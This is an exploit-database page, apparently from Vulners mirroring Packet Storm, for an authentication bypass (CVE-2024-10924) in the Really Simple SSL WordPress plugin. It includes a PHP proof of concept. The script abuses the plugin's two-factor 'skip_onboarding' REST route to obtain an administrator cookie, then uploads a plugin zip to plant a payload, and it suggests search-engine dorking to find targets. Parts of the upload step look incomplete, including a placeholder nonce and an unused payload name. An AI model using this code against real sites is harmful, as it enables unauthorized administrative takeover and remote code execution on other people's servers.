Lucene search
K

WordPress Really Simple SSL 9.0.0 Authentication Bypass

🗓️ 13 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 221 Views

WordPress Really Simple SSL plugin v9.0.0 allows 2FA bypass and payload uploads on any OS.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
25 Jun 202518:50
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
23 Feb 202508:47
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
14 Nov 202416:59
githubexploit
GithubExploit
Exploit for Use of Hard-coded Credentials in Mariazevedo88 Travels-Java-Api
27 Nov 202411:19
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
11 Mar 202514:06
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
18 Nov 202420:37
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
22 Jan 202620:01
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
3 Dec 202413:09
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
5 Feb 202512:04
githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Really-Simple-Plugins Really_Simple_Security
14 Feb 202513:42
githubexploit
Rows per page
=============================================================================================================================================
    | # Title     : WordPress Really Simple SSL plugin v9.0.0 PHP Back Connect                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/really-simple-ssl/                                                                            |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Bypass 2FA in WordPress and upload and launch Payload. Code supports all operating systems
    
        (Related : https://packetstorm.news/files/id/183035/ Related CVE numbers:	CVE-2024-10924 ) .
    	
    [+] Payload : 
    
    [+] Set Target : line 59
    
    [+] Usage : php poc.php 
    
    [+] PayLoad :
    
    
    <?php
    
    function check_wordpress_site($url) {
        $headers = @get_headers($url);
        if (!$headers || strpos($headers[0], '200') === false) {
            return false;
        }
        return true;
    }
    
    function bypass_2fa($target, $user_id) {
        $login_nonce = rand(1000000000, 9999999999);
        $data = json_encode([
            'user_id' => $user_id,
            'login_nonce' => $login_nonce,
            'redirect_to' => '/wp-admin/'
        ]);
        
        $url = "$target?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        $response = curl_exec($ch);
        curl_close($ch);
        
        if (!$response) {
            return false;
        }
        
        preg_match('/(wordpress_logged_in_[a-f0-9]{32}=[^;]+)/', $response, $matches);
        return $matches[1] ?? false;
    }
    
    function upload_payload($target, $admin_cookie, $plugin_name, $payload_name) {
        $zip_path = "$plugin_name.zip";
        
        $url = "$target/wp-admin/update.php?action=upload-plugin";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Cookie: ' . $admin_cookie,
            'Content-Type: multipart/form-data'
        ]);
        curl_setopt($ch, CURLOPT_POSTFIELDS, [
            'pluginzip' => new CURLFile($zip_path),
            '_wpnonce' => 'random_nonce',
            'install-plugin-submit' => 'Install Now'
        ]);
        
        $response = curl_exec($ch);
        curl_close($ch);
        
        return strpos($response, 'Plugin installed successfully') !== false;
    }
    
    $target = "http://target.com";
    $user_id = 1;
    
    if (!check_wordpress_site($target)) {
        die("WordPress site is not online.\n");
    }
    
    $admin_cookie = bypass_2fa($target, $user_id);
    if (!$admin_cookie) {
        die("Failed to bypass 2FA.\n");
    }
    
    $plugin_name = "wp_" . substr(md5(mt_rand()), 0, 5);
    $payload_name = "ajax_" . substr(md5(mt_rand()), 0, 5);
    
    if (!upload_payload($target, $admin_cookie, $plugin_name, $payload_name)) {
        die("Failed to upload payload.\n");
    }
    
    echo "Payload executed at $target/wp-content/plugins/$plugin_name/$payload_name.php\n";
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Mar 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.19.8
EPSS0.93889
SSVC
221